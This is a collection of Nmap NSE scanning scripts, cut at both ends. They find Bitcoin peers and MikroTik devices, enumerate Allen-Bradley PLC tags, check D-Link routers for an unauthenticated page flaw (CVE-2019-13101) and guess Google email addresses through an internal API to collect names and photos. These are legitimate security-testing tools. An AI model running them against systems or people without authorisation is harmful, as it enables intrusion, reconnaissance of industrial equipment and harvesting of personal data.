acc > 0 do 81 | bitstr = ("%d"):format(acc%2) .. bitstr 82 | acc = math.floor(acc/2) 83 | end 84 | 85 | sz = #bitstr % 8 86 | if sz ~= 0 then 87 | sz = 24 + sz 88 | else 89 | sz = 32 90 | end 91 | 92 | local ip = bin.pack("B", string.rep("0", 32 - sz) .. bitstr:sub(1, sz)) 93 | _, a, b, c, d = bin.unpack(">CCCC", ip) 94 | 95 | return ("%d.%d.%d.%d"):format(a,b,c,d) 96 | end 97 | 98 | action = function() 99 | local host = stdnse.get_script_args("bitcoin-enum-targets.server") or "irc.lfnet.org" 100 | local port = stdnse.get_script_args("bitcoin-enum-targets.port") or 6667 101 | local channel = stdnse.get_script_args("bitcoin-enum-targets.channel") or "#bitcoin" 102 | 103 | local unique_addresses = {} 104 | local all_addresses = {} 105 | 106 | local sd = nmap.new_socket() 107 | local curr_nick = random_nick() 108 | local nicks 109 | local s, e, t, a, off 110 | local buf, nick 111 | local banner_timeout = 60 112 | 113 | init() 114 | 115 | local sd, line = comm.tryssl(host, port, "USER nmap +iw nmap :Nmap Wuz Here\nNICK " .. curr_nick .. "\n") 116 | if not sd then return "Unable to open connection" end 117 | 118 | -- set a healthy banner timeout 119 | sd:set_timeout(banner_timeout * 1000) 120 | 121 | buf = stdnse.make_buffer(sd, "\r?\n") 122 | 123 | while true do 124 | if (not line) then break end 125 | 126 | -- This one lets us know we've connected, pre-PONGed, and got a NICK 127 | s, e, t = nmap.registry.ircserverinfo_375:exec(line, 0, 0) 128 | if (s) then 129 | sd:send("JOIN " .. channel .. "\nNAMES " .. channel .. "\nQUIT\n") 130 | end 131 | 132 | s, e, t = nmap.registry.ircserverinfo_422:exec(line, 0, 0) 133 | if (s) then 134 | sd:send("JOIN " .. channel .. "\nNAMES " .. channel .. "\nQUIT\n") 135 | end 136 | 137 | s, e, t = nmap.registry.ircserverinfo_433:exec(line, 0, 0) 138 | if (s) then 139 | curr_nick = random_nick() 140 | sd:send("NICK " .. curr_nick .. "\n") 141 | end 142 | 143 | s, e, t = nmap.registry.ircserverinfo_ping:exec(line, 0, 0) 144 | if (s) then 145 | sd:send("PONG :" .. string.sub(line, t[1], t[2]) .. "\n") 146 | end 147 | 148 | s, e, t = nmap.registry.ircserverinfo_353:exec(line, 0, 0) 149 | if (s) then 150 | nicks = string.sub(line, t[1], t[2]) 151 | off = 1 152 | a = nicks:find(" ", off) 153 | while a do 154 | nick = nicks:sub(off, a - 1) 155 | if (nick:sub(1,1) == "u" and nick:len() == 15) then 156 | local ip = decode_ip(nick:sub(2)) 157 | if not unique_addresses[ip] then 158 | unique_addresses[ip] = true 159 | table.insert(all_addresses, ip) 160 | end 161 | end 162 | off = a + 1 163 | a = nicks:find(" ", off) 164 | end 165 | 166 | nick = nicks:sub(off, nicks:len() - 1) 167 | if (nick:sub(1,1) == "u" and nick:len() == 15) then 168 | local ip = decode_ip(nick:sub(2)) 169 | if not unique_addresses[ip] then 170 | unique_addresses[ip] = true 171 | table.insert(all_addresses, ip) 172 | end 173 | end 174 | end 175 | 176 | s, e, t = nmap.registry.ircserverinfo_error:exec(line, 0, 0) 177 | if (s) then 178 | return "ERROR: " .. string.sub(line, t[1], t[2]) .. "\n" 179 | end 180 | 181 | line = buf() 182 | end 183 | 184 | if target.ALLOW_NEW_TARGETS == true then 185 | for _,v in pairs(all_addresses) do 186 | target.add(v) 187 | end 188 | else 189 | stdnse.print_debug(1,"Not adding targets to newtargets. If you want to do that use the 'newtargets' script argument.") 190 | end 191 | 192 | if #all_addresses>0 then 193 | stdnse.print_debug(1,"Added %s address(es) to newtargets", #all_addresses) 194 | end 195 | 196 | return string.format("Found %s address(es). \n", #all_addresses) .. stdnse.strjoin("\n",all_addresses) 197 | end 198 | 199 | random_nick = function() 200 | local nick = "" 201 | 202 | -- NICKLEN is at least 9 203 | for i = 0, 8, 1 do 204 | nick = nick .. string.char(math.random(97, 122)) -- lowercase ascii 205 | end 206 | 207 | return nick 208 | end 209 | -------------------------------------------------------------------------------- /broadcast-nmdp-discover.nse: -------------------------------------------------------------------------------- 1 | local nmap = require "nmap" 2 | local stdnse = require "stdnse" 3 | local string = require "string" 4 | local packet = require "packet" 5 | local target = require "target" 6 | local os = require "os" 7 | local table = require "table" 8 | 9 | description = [[ 10 | Discovers MikroTik devices on a LAN by sending a MikroTik Neighbor Discovery Protocol (NMDP) network broadcast probe. 11 | 12 | For more information about MNDP, see: 13 | * https://mikrotik.com/testdocs/ros/2.9/ip/mndp.php 14 | * https://wiki.mikrotik.com/wiki/Manual:IP/Neighbor_discovery 15 | * https://www.wireshark.org/docs/dfref/m/mndp.html 16 | * https://hadler.me/cc/mikrotik-neighbor-discovery-mndp/ 17 | ]] 18 | 19 | --- 20 | -- @usage nmap --script broadcast-nmdp-discover 21 | -- @usage nmap --script broadcast-nmdp-discover --script-args timeout=5s -e eth0 22 | -- 23 | -- @output 24 | -- Pre-scan script results: 25 | -- | broadcast-nmdp-discover: 26 | -- | MAC Address: 00:0c:29:6d:a7:63, IP Address: 0.0.0.0; Identity: MikroTik; Version: 6.42.12 (long-term); Platform: MikroTik; Software ID: GXCE-KYGV; Uptime: 1h14m; Board: x86; Unpacking: None; Interface: ether1 27 | -- | MAC Address: 00:0c:29:6d:a7:63, IP Address: fe80::20c:29ff:fe6d:a763; Identity: MikroTik; Version: 6.42.12 (long-term); Platform: MikroTik; Software ID: GXCE-KYGV; Uptime: 1h14m; Board: x86; Unpacking: None; Interface: ether1 28 | -- | MAC Address: 00:0c:29:8b:de:c6, IP Address: 10.1.1.123; Identity: MikroTik; Version: 6.10; Platform: MikroTik; Software ID: 33UY-8JI2; Uptime: 0h42m; Board: x86; Unpacking: None; Interface: ether1 29 | -- |_ MAC Address: 00:0c:29:8b:de:c6, IP Address: fe80::20c:29ff:fe8b:dec6; Identity: MikroTik; Version: 6.10; Platform: MikroTik; Software ID: 33UY-8JI2; Uptime: 0h42m; Board: x86; Unpacking: None; Interface: ether1 30 | -- 31 | -- @args broadcast-nmdp-discover.address 32 | -- address to which the probe packet is sent. (default: 255.255.255.255) 33 | -- @args broadcast-nmdp-discover.timeout 34 | -- socket timeout (default: 5s) 35 | --- 36 | 37 | author = "Brendan Coles" 38 | license = "Same as Nmap--See https://nmap.org/book/man-legal.html" 39 | categories = {"discovery", "broadcast", "safe"} 40 | 41 | prerule = function() return ( nmap.address_family() == "inet") end 42 | 43 | local arg_address = stdnse.get_script_args(SCRIPT_NAME .. ".address") 44 | local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout")) 45 | 46 | -- Listens for NMDP response messages. 47 | --@param interface Network interface to listen on. 48 | --@param timeout Time to listen for a response. 49 | --@param responses table to insert response data into. 50 | local nmdpListen = function(interface, timeout, responses) 51 | local condvar = nmap.condvar(responses) 52 | local start = nmap.clock_ms() 53 | local listener = nmap.new_socket() 54 | local status, l3data 55 | local filter = 'udp src port 5678 and udp dst port 5678 and src host not ' .. interface.address 56 | listener:set_timeout(500) 57 | listener:pcap_open(interface.device, 1024, true, filter) 58 | 59 | while (nmap.clock_ms() - start) < timeout do 60 | status, _, _, l3data = listener:pcap_receive() 61 | 62 | if not status then 63 | goto continue 64 | end 65 | 66 | local p = packet.Packet:new(l3data, #l3data) 67 | local data = l3data:sub(p.udp_offset + 9) 68 | 69 | if #data < 4 then 70 | goto continue 71 | end 72 | 73 | stdnse.print_debug(1, "Received NMDP response from %s (%s bytes)", p.ip_src, string.len(data)) 74 | 75 | local tlv_type, tlv_len, tlv_value, pos 76 | pos = 1 77 | --local header = data:sub(pos, pos + 1) 78 | pos = pos + 2 79 | --local seqno = data:sub(pos, pos + 1) 80 | pos = pos + 2 81 | 82 | local mac_address, identity, version, platform, uptime, software_id, board, unpacking, interface 83 | while (pos < #data) do 84 | -- TLV Type - Unsigned integer (2 bytes) 85 | tlv_type = string.unpack(">I2", data:sub(pos, pos + 1)) 86 | pos = pos + 2 87 | 88 | -- TLV Length - Unsigned integer (2 bytes) 89 | tlv_len = string.unpack(">I2", data:sub(pos, pos + 1)) 90 | pos = pos + 2 91 | 92 | -- TLV Value 93 | tlv_value = data:sub(pos, pos + tlv_len - 1) 94 | pos = pos + tlv_len 95 | 96 | --stdnse.print_debug(2, "TLV Type: %s", tlv_type) 97 | --stdnse.print_debug(2, "TLV Length: %s", tlv_len) 98 | --stdnse.print_debug(2, "TLV Value: %s", stdnse.tohex(tlv_value)) 99 | 100 | -- MAC address 101 | if tlv_type == 0x01 then 102 | mac_address = stdnse.format_mac(tlv_value) 103 | 104 | -- Identity 105 | elseif tlv_type == 0x05 then 106 | identity = tlv_value 107 | 108 | -- Version 109 | elseif tlv_type == 0x07 then 110 | version = tlv_value 111 | 112 | -- Platform 113 | elseif tlv_type == 0x08 then 114 | platform = tlv_value 115 | 116 | -- Uptime - unsigned integer (big endian) 117 | elseif tlv_type == 0x0a then 118 | uptime_num = string.unpack(" 0 then 221 | -- remove duplicates 222 | local hash = {} 223 | for _,v in ipairs(results) do 224 | if (not hash[v]) then 225 | table.insert( output, v ) 226 | hash[v] = true 227 | end 228 | end 229 | return output 230 | end 231 | end 232 | -------------------------------------------------------------------------------- /cip-tags-enum.nse: -------------------------------------------------------------------------------- 1 | description = [[ 2 | Collects all tag names and types for Allen-Bradley Logix 5000 PLCs via 3 | CIP Service Code 0x55 - Get_Instance_Attribute_List 4 | 5 | See Logix 5000 Controllers Data Access 6 | https://literature.rockwellautomation.com/idc/groups/literature/documents/pm/1756-pm020_-en-p.pdf 7 | 8 | ]] 9 | 10 | author = "Luis Rosa" 11 | license = "Same as Nmap--See https://nmap.org/book/man-legal.html" 12 | categories = {"discovery"} 13 | 14 | --- 15 | -- @usage 16 | -- nmap --script cip-tags-discover.nse -p 44818 17 | -- 18 | -- 19 | -- @output 20 | --PORT STATE SERVICE 21 | --44818/tcp open EtherNetIP-2 22 | --| cip-tags-enum: 23 | --| Controller Tags: 24 | --| (0x0002) VAR_1: REAL 25 | --| (0x000D) VAR_2: BOOL 26 | --| (0x000E) VAR_3: INT 27 | --| Program Tags: 28 | --| (0x0002) VAR_1: REAL 29 | --| (0x000D) VAR_2: BOOL 30 | --| (0x000E) VAR_3: INT 31 | 32 | -- @xmloutput 33 | -- 34 | -- REAL 35 | -- BOOL 36 | -- INT 37 | --
38 | -- 39 | -- REAL 40 | -- BOOL 41 | -- INT 42 | --
43 | 44 | local math = require "math" 45 | local comm = require "comm" 46 | local shortport = require "shortport" 47 | local stdnse = require "stdnse" 48 | local nsedebug = require "nsedebug" 49 | 50 | portrule = shortport.port_or_service(44818, "EtherNet-IP-2") 51 | 52 | local tag_types = { 53 | ['c1'] = 'BOOL', 54 | ['c2'] = 'SINT', 55 | ['c3'] = 'INT', 56 | ['c4'] = 'DINT', 57 | ['ca'] = 'REAL', 58 | ['d3'] = 'DWORD', 59 | ['c5'] = 'LINT', 60 | } 61 | 62 | -- return a ENIP/CIP request with service code 0x55 63 | get_instance_attribute_list_request = function(session, ot_connection_id, sequence, request_path) 64 | local command_specific_data = "".. 65 | "0200".. -- # attributes 66 | "0100".. -- symbol name 67 | "0200" -- symbol type 68 | 69 | local sequence_s = string.gsub(string.format('%04X', sequence) , "(..)(..)", "%2%1") -- 2 bytes le sequence id 70 | local cip_payload = "".. 71 | "55".. -- service code 72 | string.format('%02x', request_path:len()/4).. -- path size 73 | request_path.. 74 | command_specific_data 75 | 76 | local item_2_len = string.format("%04x", (sequence_s..cip_payload):len()/2):gsub("(..)(..)", "%2%1") 77 | 78 | local enip_payload = "".. 79 | "00000000".. -- interface (cip) 80 | "0000".. -- timeout 81 | "0200".. -- item count (2) 82 | "a100".. -- item 1 type (connected address item) 83 | "0400".. -- item 1 length 84 | ot_connection_id.. -- item 1 connection id 85 | "b100".. -- item 2 type (connected data item) 86 | item_2_len.. -- item 2 length 87 | sequence_s .. -- sequence 88 | cip_payload 89 | 90 | local enip_len = string.format("%04x", (enip_payload):len()/2):gsub("(..)(..)", "%2%1") 91 | 92 | return "".. 93 | stdnse.fromhex("".. 94 | "7000".. -- command (Send Unit Data) 95 | enip_len.. -- length 96 | session.. -- session handle 97 | "00000000".. -- status 98 | "0000000000000000".. -- sender context 99 | "00000000".. -- options 100 | enip_payload) -- req path + payload 101 | end 102 | 103 | -- return a ENIP/CIP Connection Manager Forward Open (0x54) 104 | cm_forward_open = function(session) 105 | connection_serial_number = string.byte(math.random(0x00, 0xFF))..string.byte(math.random(0x00, 0xFF)) 106 | return "".. 107 | stdnse.fromhex("".. 108 | "6f00".. -- command (Send RR Data) 109 | "4000".. -- length 110 | session.. -- session handle 111 | "00000000".. -- status 112 | "0000000000000000".. -- sender context 113 | "00000000".. -- options 114 | "00000000".. -- interface (cip) 115 | "0000".. -- timeout 116 | "0200".. -- item count 117 | "0000".. -- item 1 type (Null Address Item) 118 | "0000".. -- item 1 length 119 | "b200".. -- item 2 type (Unconnected Data Item) 120 | "3000".. -- item 2 length 121 | "54".. -- service code 122 | "02".. -- request path length 123 | "20062401".. -- request path 124 | "0af0".. -- timeout 125 | "00000000".. -- ot_connection_id 126 | "00000000".. -- to_connection_id 127 | connection_serial_number.. -- connection serial number 128 | "0000".. -- originator vendor id 129 | "00000000".. -- originator serial number 130 | "07".. -- connection timeout 131 | "000000".. -- reserved 132 | "00400000" .. -- ot rpi 133 | "1243" .. -- ot network connection params 134 | "00400000".. -- to rpi 135 | "1243" .. -- to network connection parms 136 | "a3".. -- transport type 137 | "03".. -- connection path length 138 | "010020022401" -- connection path 139 | ) 140 | end 141 | 142 | -- return a ENIP/CIP Connection Manager Forward Close (0x4e) 143 | cm_forward_close = function(session) 144 | connection_serial_number = string.byte(math.random(0x00, 0xFF))..string.byte(math.random(0x00, 0xFF)) 145 | return "".. 146 | stdnse.fromhex("".. 147 | "6f00".. -- command (Send RR Data) 148 | "2800".. -- length 149 | session.. -- session handle 150 | "00000000".. -- status 151 | "0000000000000000".. -- sender context 152 | "00000000".. -- options 153 | "00000000".. -- interface (cip) 154 | "0000".. -- timeout 155 | "0200".. -- item count 156 | "0000".. -- item 1 type (Null Address Item) 157 | "0000".. -- item 1 length 158 | "b200".. -- item 2 type (Unconnected Data Item) 159 | "1800".. -- item 2 length 160 | "4e".. -- service code 161 | "02".. -- request path length 162 | "20062401".. -- request path 163 | "0af0".. -- timeout 164 | connection_serial_number.. -- connection serial number 165 | "0000".. -- originator vendor id 166 | "00000000".. -- originator serial number 167 | "03".. -- connection path length 168 | "00".. -- reserved 169 | "010020022401" -- connection path 170 | ) 171 | end 172 | 173 | get_instances = function(session, ot_connection_id, sequence, base_request_path, output) 174 | 175 | local last_instance_id = "0000" -- starting instance id 176 | local instance_id 177 | repeat 178 | local request_path = base_request_path .. 179 | "206b2500".. -- class 180 | last_instance_id -- instance id 181 | 182 | try(socket:send(get_instance_attribute_list_request(session, ot_connection_id, sequence, request_path))) -- AB CIP 0x55 183 | local response = try(socket:receive()) 184 | 185 | local general_status = string.unpack("I1", response, 49) 186 | stdnse.debug("Received a general Status %d", general_status) 187 | 188 | offset = 51 189 | while(offsetI4", response, 45) -- CIP O->T Network Connection ID 246 | ot_connection_id = stdnse.tohex(ot_connection_id) 247 | 248 | -- controller tags 249 | local sequence = 1 250 | local last_instance_id = "0000" -- starting instance id 251 | 252 | -- get global tags 253 | local request_path = "" 254 | local controller_tags = stdnse.output_table() 255 | get_instances(session, ot_connection_id, sequence, request_path, controller_tags) 256 | 257 | -- get local tags 258 | request_path = "".. 259 | "91".. -- class 260 | "13".. -- tag name length 261 | stdnse.tohex("Program:MainProgram").. -- Default Main Program 262 | "00" -- Padding 263 | 264 | local program_tags = stdnse.output_table() 265 | get_instances(session, ot_connection_id, sequence, request_path, program_tags) 266 | 267 | output["Controller Tags"] = controller_tags 268 | output["Program Tags"] = program_tags 269 | 270 | stdnse.debug(stdnse.tohex(cm_forward_close(session))) 271 | try(socket:send(cm_forward_close(session))) -- CIP CM FC 272 | response = try(socket:receive()) 273 | session, status = stdnse.tohex(response):match("67001e00(........)(........).*") 274 | stdnse.debug("ENIP Forward Close %s", status) 275 | if (status == '00000000') then -- success 276 | stdnse.debug("ENIP Forward Close") 277 | end 278 | end 279 | 280 | stdnse.debug("ENIP Register Session failed") 281 | socket:close() 282 | 283 | return output 284 | end 285 | -------------------------------------------------------------------------------- /dlink-cve-2019-13101.nse: -------------------------------------------------------------------------------- 1 | 2 | description = [[ 3 | Detects whether the D-Link DIR-600M or DIR-615 router is vulnerable to Incorrect Access Control Vulnerability (CVE-2019-13101). 4 | ]] 5 | 6 | --- 7 | -- @usage: 8 | -- nmap -p 80 -n --open --script dlink-cve-2019-13101 . 9 | --- 10 | 11 | author = "Devendra Singh Solanki" 12 | license = "Same as Nmap--See https://nmap.org/book/man-legal.html" 13 | 14 | categories = {"discovery", "vuln", "exploit"} 15 | 16 | local http = require "http" 17 | local shortport = require "shortport" 18 | local stdnse = require "stdnse" 19 | local string = require "string" 20 | 21 | portrule = shortport.http 22 | 23 | local uri = "/wan.htm" 24 | 25 | function action (host, port) 26 | 27 | local response = http.get(host, port, uri, 28 | { header = { ["User-Agent"] = "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" } }, { no_cache = true }) 29 | 30 | if( response.body and response.status == 200 ) and response.body:match("PPPoE") then 31 | return ("Router is vulnerable to CVE-2019-13101") 32 | end 33 | 34 | end 35 | 36 | 37 | 38 | 39 | -------------------------------------------------------------------------------- /google-people-enum.nse: -------------------------------------------------------------------------------- 1 | local openssl = require "openssl" 2 | local http = require "http" 3 | local shortport = require "shortport" 4 | local stdnse = require "stdnse" 5 | local string = require "string" 6 | local json = require "json" 7 | local unpwdb = require "unpwdb" 8 | 9 | description = [[ 10 | Attempts to enumerate valid email addresses using Google's Internal People API. If a valid email address is found, it 11 | also grabs the display name and photo from the profile. 12 | 13 | This script uses 'unpwdb' for username guessing but you can provide your own list (--script-args userdb=/tmp/user.lst). 14 | A valid Google account must be provided to communicate with the API. 15 | 16 | References: 17 | https://developers.google.com/people/api/rest/ 18 | 19 | TODO: 20 | * Implement OAUTH to replace username and password. 21 | ]] 22 | 23 | --- 24 | -- @usage 25 | -- nmap -sn --script google-people-enum --script-args='username=,password=' 26 | -- @usage 27 | -- nmap -sn --script google-people-enum --script-args='username=,password=,domain=' 28 | -- 29 | -- @output 30 | -- Host script results: 31 | -- | google-people-enum: 32 | -- | users: 33 | -- | 34 | -- | user1@example.com: 35 | -- | photo: https://lh3.googleusercontent.com/XXXXXXXXXXXXX/photo.jpg 36 | -- | name: User 1 37 | -- | 38 | -- | user2@example.com: 39 | -- |_ photo: https://lh3.googleusercontent.com/XXXXXXXXXXXXXXX/photo.jpg 40 | -- 41 | -- @xmloutput 42 | -- 43 | --
44 | --
45 | -- https://XXXXXX/photo.jpg 46 | -- User 1 47 | --
48 | -- 49 | -- 50 | --
51 | -- https://XXXXXX/photo.jpg 52 | --
53 | -- 54 | -- 55 | -- 56 | -- @args google-people-enum.username Username to authenticate to Google's People API 57 | -- @args google-people-enum.password Password to authenticate to Google's People API 58 | -- @args google-people-enum.domain Domain name. 59 | --- 60 | 61 | categories = {"discovery", " external"} 62 | 63 | author = {'Aaron Velasco ','Paulino Calderon '} 64 | 65 | license = "Same as Nmap--See https://nmap.org/book/man-legal.html" 66 | 67 | hostrule = function() return true end 68 | 69 | local ORIGIN = 'https://hangouts.google.com' 70 | 71 | 72 | local function google_login(username, password) 73 | local options = {} 74 | options['header'] = {} 75 | options['header']['Content-Type'] = 'application/x-www-form-urlencoded' 76 | options['cookies'] = 'GAPS=1:9Gh-W5SRMzgYa850L3DJBw5vAD6uOQ:SCrej40XbCRKHuDY' 77 | 78 | local path = string.format("/signin/challenge/sl/password?gxf=AFoagUU7fJ86otMHTVv_nGnqUI8ZQW9V9Q%%3A1480734358179&Email=%s&Passwd=%s", username, password) 79 | local response = http.generic_request('accounts.google.com', '443', 'POST', path, options) 80 | return response 81 | end 82 | 83 | local function get_cookie(response) 84 | local cookie = "" 85 | local ids = {["APISID"]=34, ["HSID"]=17,["SAPISID"]=34,["SID"]=71,["SSID"]=17} 86 | for id,length in pairs(ids) do 87 | local s = string.find(response.header['set-cookie'], id) 88 | local e = s + string.len(id) + length + 1 89 | local sub = string.sub(response.header['set-cookie'], s, e) 90 | cookie = cookie .. sub 91 | end 92 | return(cookie) 93 | end 94 | 95 | local function sha1(message) 96 | local hash = "" 97 | local digest = openssl.sha1(message) 98 | 99 | for i=1,string.len(digest) do 100 | if string.byte(digest, i) > 15 then 101 | hash = hash .. string.format("%x", string.byte(digest, i)) 102 | else 103 | hash = hash .. string.format("0%x", string.byte(digest, i)) 104 | end 105 | end 106 | return hash 107 | end 108 | 109 | local function get_hash(cookie) 110 | local s = string.find(cookie, "SAPISID") + 8 111 | local e = s + 33 112 | local ts = os.time() 113 | return string.format("SAPISIDHASH %s_%s", ts, sha1(string.format("%s %s %s", ts, string.sub(cookie, s, e), ORIGIN))) 114 | end 115 | 116 | local function get_opts(cookie) 117 | local options = {} 118 | options['header'] = {} 119 | options['header']['Authorization'] = get_hash(cookie) 120 | options['header']['X-HTTP-Method-Override'] = 'GET' 121 | options['header']['Content-Type'] = 'application/x-www-form-urlencoded' 122 | options['header']['origin'] = ORIGIN 123 | options['cookies'] = cookie 124 | 125 | return options 126 | end 127 | 128 | local function lookup(email, options) 129 | local path = string.format("/v2/people/lookup?id=%s&type=EMAIL&matchType=EXACT&requestMask.includeField.paths=person.email".. 130 | "&requestMask.includeField.paths=person.gender&requestMask.includeField.paths=person.in_app_reachability".. 131 | "&requestMask.includeField.paths=person.metadata&requestMask.includeField.paths=person.name".. 132 | "&requestMask.includeField.paths=person.phone&requestMask.includeField.paths=person.photo".. 133 | "&requestMask.includeField.paths=person.read_only_profile_info&extensionSet.extensionNames=HANGOUTS_ADDITIONAL_DATA".. 134 | "&extensionSet.extensionNames=HANGOUTS_OFF_NETWORK_GAIA_LOOKUP&extensionSet.extensionNames=HANGOUTS_PHONE_DATA".. 135 | "&coreIdParams.useRealtimeNotificationExpandedAcls=true&key=AIzaSyAfFJCeph-euFSwtmqFZi0kaKk-cZ5wufM", email) 136 | local response = http.generic_request('people-pa.clients6.google.com', '443', 'POST', path, options) 137 | local userdata = {} 138 | if http.response_contains(response, email) then 139 | local status, person = json.parse(response.body) 140 | local lookupId = person['matches'][1]['lookupId'] 141 | local personId = person['matches'][1]['personId'][1] 142 | local displayName 143 | local photo 144 | 145 | userdata[lookupId] = {} 146 | if person['people'][personId]['name'] then 147 | displayName = person['people'][personId]['name'][1]['displayName'] 148 | stdnse.debug1("Display name:%s", displayName) 149 | userdata[lookupId].name = displayName 150 | end 151 | if person['people'][personId]['photo'] then 152 | photo = person['people'][personId]['photo'][1]['url'] 153 | stdnse.debug1("Photo:%s", photo) 154 | userdata[lookupId].photo = photo 155 | end 156 | 157 | return true, userdata 158 | else 159 | stdnse.debug2("User '%s' wasn't found.", email) 160 | return false, 'No match' 161 | end 162 | end 163 | 164 | local function google_logout(cookie) 165 | local options = {} 166 | options['cookies'] = cookie 167 | local response = http.generic_request('accounts.google.com', '443', 'GET', '/Logout', options) 168 | return 169 | end 170 | 171 | action = function(host, port) 172 | local username = stdnse.get_script_args(SCRIPT_NAME .. ".username") or nil 173 | local password = stdnse.get_script_args(SCRIPT_NAME .. ".password") or nil 174 | local target = stdnse.get_script_args(SCRIPT_NAME .. ".domain") or nil 175 | local output = stdnse.output_table() 176 | 177 | if not(target) then 178 | if host.name then 179 | target = host.name 180 | else 181 | stdnse.debug1("Target not specified and Nmap couldn't resolve hostname.") 182 | return "[ERROR] Please set a target with the script argument google-people-enum.domain." 183 | end 184 | end 185 | 186 | if not(username) or not(password) then 187 | return "[ERROR] This script needs a valid Google username (google-people-enum.username) and password (google-people-enum.password)." 188 | end 189 | 190 | local response = google_login(username, password) 191 | 192 | if http.response_contains(response, "CheckCookie") then 193 | cookie = get_cookie(response) 194 | options = get_opts(cookie) 195 | local tmp = {} 196 | local try = nmap.new_try() 197 | local usernames = try(unpwdb.usernames()) 198 | for username in usernames do 199 | stdnse.debug1("Checking if user '%s@%s' exists", username, target) 200 | local status, result = lookup(string.format("%s@%s", username, target), options) 201 | if status then 202 | stdnse.debug1("User '%s' exists! Display name:%s Photo:%s", username, result.name, result.photo) 203 | table.insert(tmp, result) 204 | end 205 | end 206 | 207 | google_logout(cookie) 208 | if #tmp>0 then 209 | output.users = tmp 210 | return output 211 | end 212 | end 213 | end 214 | -------------------------------------------------------------------------------- /gpsd-ng-info.nse: -------------------------------------------------------------------------------- 1 | description = [[ 2 | Retrieves device and version information from a listening GPSD-NG daemon. 3 | 4 | gpsd is a service daemon that monitors one or more GPSes or AIS receivers attached to a host computer through serial or USB ports, making all data on the location/course/velocity of the sensors available to be queried on TCP port 2947 of the host computer. 5 | 6 | For more information about GPSD-NG, see: 7 | http://gpsd.berlios.de/gpsd.html 8 | http://en.wikipedia.org/wiki/Gpsd 9 | http://gpsd.berlios.de/protocol-evolution.html 10 | ]] 11 | 12 | --- 13 | -- @usage 14 | -- nmap --script gpsd-ng-info --script-args gpsd-ng-info.timeout=5 -p 15 | -- 16 | -- @args gpsd-ng-info.timeout 17 | -- Set timeout in seconds. The default value is 5. 18 | -- 19 | -- @output 20 | -- PORT STATE SERVICE REASON 21 | -- 2947/tcp open gpsd-ng syn-ack 22 | -- | gpsd-ng-info: 23 | -- | VERSION: 24 | -- | rev = 2011-04-15T13:37:50.73 25 | -- | release = 3.0~dev 26 | -- | proto_major = 3 27 | -- | proto_minor = 4 28 | -- | DEVICES: 29 | -- | DEVICE: 30 | -- | parity = N 31 | -- | path = /dev/ttyS0 32 | -- | subtype = GSW3.2.4_3.1.00.12-SDK003P1.00a 33 | -- | stopbits = 1 34 | -- | flags = 1 35 | -- | driver = SiRF binary 36 | -- | bps = 38400 37 | -- | native = 1 38 | -- | activated = 2011-05-15T11:11:34.450Z 39 | -- | cycle = 1 40 | -- | DEVICE: 41 | -- | parity = N 42 | -- | path = /dev/cuaU0 43 | -- | stopbits = 1 44 | -- | flags = 1 45 | -- | driver = uBlox UBX binary 46 | -- | bps = 9600 47 | -- | mincycle = 0.25 48 | -- | native = 1 49 | -- | activated = 2011-05-15T01:19:34.200Z 50 | -- |_ cycle = 1 51 | -- 52 | -- @changelog 53 | -- 2011-06-18 - v0.1 - created by Brendan Coles - itsecuritysolutions.org 54 | -- 55 | 56 | author = "Brendan Coles [itsecuritysolutions.org]" 57 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 58 | categories = {"safe", "discovery"} 59 | 60 | require("stdnse") 61 | require("comm") 62 | require("shortport") 63 | require("json") 64 | 65 | portrule = shortport.port_or_service (2947, "gpsd-ng", {"tcp"}) 66 | 67 | --- parse GPSD-NG data in table format 68 | -- This function parses replies to GPSD-NG commands: 69 | -- "?VERSION;" and "?DEVICES;" -- TODO: "?POLL;" 70 | -- @param data a table containg JSON data 71 | -- @return a table containing GPSD-NG in NSE output format 72 | local function parseGPSDNG(data) 73 | 74 | local result = {} 75 | 76 | -- use class nodes as table keys 77 | if data["class"] then table.insert(result,("%s:"):format(tostring(data["class"]))) end 78 | 79 | -- extract node properties 80 | for k,v in pairs(data) do 81 | if type(v) ~= 'table' and k ~= "class" then 82 | table.insert(result,(("\t%s = %s"):format(tostring(k), tostring(v)))) 83 | end 84 | end 85 | 86 | -- parse child node of type table 87 | for k,v in pairs(data) do 88 | if type(v) == 'table' then table.insert(result,parseGPSDNG(v)) end 89 | end 90 | 91 | return result 92 | 93 | end 94 | 95 | action = function(host, port) 96 | 97 | local result = {} 98 | local timeout = tonumber(nmap.registry.args[SCRIPT_NAME .. '.timeout']) 99 | if not timeout or timeout < 0 then timeout = 5 end 100 | 101 | -- Connect and retrieve "?DEVICES;" data 102 | local command = "?DEVICES;" 103 | stdnse.print_debug(1, ("%s: Connecting to %s:%s [Timeout: %ss]"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, timeout)) 104 | local status, json_data = comm.exchange(host, port, command,{lines=3, proto=port.protocol, timeout=timeout*1000}) 105 | if not status or not json_data then 106 | stdnse.print_debug(1, ("%s: Retrieving data from %s:%s failed [Timeout expired]"):format(SCRIPT_NAME, host.targetname or host.ip, port.number)) 107 | return 108 | end 109 | 110 | -- Convert received JSON data to table 111 | stdnse.print_debug(1, ("%s: Parsing JSON data from %s:%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number)) 112 | for line in string.gmatch(json_data, "[^\n]+") do 113 | local status, data = json.parse(line) 114 | if not status or not data or not data["class"] then 115 | stdnse.print_debug(1, ("%s: Failed to parse data from %s:%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number)) 116 | return 117 | end 118 | table.insert(result, parseGPSDNG(data)) 119 | end 120 | 121 | -- Return results 122 | return stdnse.format_output(true, result) 123 | 124 | end 125 | -------------------------------------------------------------------------------- /hidden-cobra-proxy.nse: -------------------------------------------------------------------------------- 1 | local shortport = require "shortport" 2 | local stdnse = require "stdnse" 3 | local string = require "string" 4 | local bit = require "bit" 5 | 6 | description = [[ 7 | Tests for the presence of the Hidde Cobra backdoor reported by the US-CERT 8 | on November 2017. This script attempts to identify the bidirectional proxy 9 | component used by this APT by sending an innocuous TCP packet with certain 10 | control code. 11 | 12 | References: 13 | 14 | * https://www.us-cert.gov/HIDDEN-COBRA-North-Korean-Malicious-Cyber-Activity 15 | ]] 16 | 17 | --- 18 | -- @usage 19 | -- nmap -n --script hidden-cobra-proxy --script-args='timeout=500' -p 443 20 | -- 21 | -- @args timeout 22 | -- Set the timeout in milliseconds. Default value: 500. 23 | -- 24 | -- @output 25 | -- PORT 